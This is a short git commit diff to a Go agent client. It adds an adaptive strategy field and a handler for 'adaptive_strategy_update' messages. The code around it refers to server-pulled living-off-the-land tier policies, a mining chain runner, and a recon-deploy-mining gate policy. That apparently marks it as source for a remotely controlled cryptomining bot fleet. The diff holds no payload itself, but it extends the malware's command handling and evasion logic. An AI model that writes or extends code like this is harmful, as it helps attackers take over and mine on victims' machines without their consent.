Add fleet adaptive strategy engine for proactive LOTL tier ordering

agent/client/client.go

@@ -62,6 +62,7 @@ type AgentClient struct {
 	miningChain *MiningChainRunner
 	// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
 	tierPolicy miner.MiningTierPolicy
+	adaptiveStrategy AdaptiveStrategy
 	// triplePolicy is server-pulled recon → deploy → mining gate policy.
 	triplePolicy       miner.TripleOnionPolicy
 	triplePolicyLoaded bool
@@ -479,6 +480,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 		}
 	case "policy_update":
 		go c.applyPolicyUpdate(msg.Payload)
+	case "adaptive_strategy_update":
+		c.applyAdaptiveStrategyJSON(msg.Payload)
 	case "command":
 		var cmd struct {
 			Action    string `json:"action"`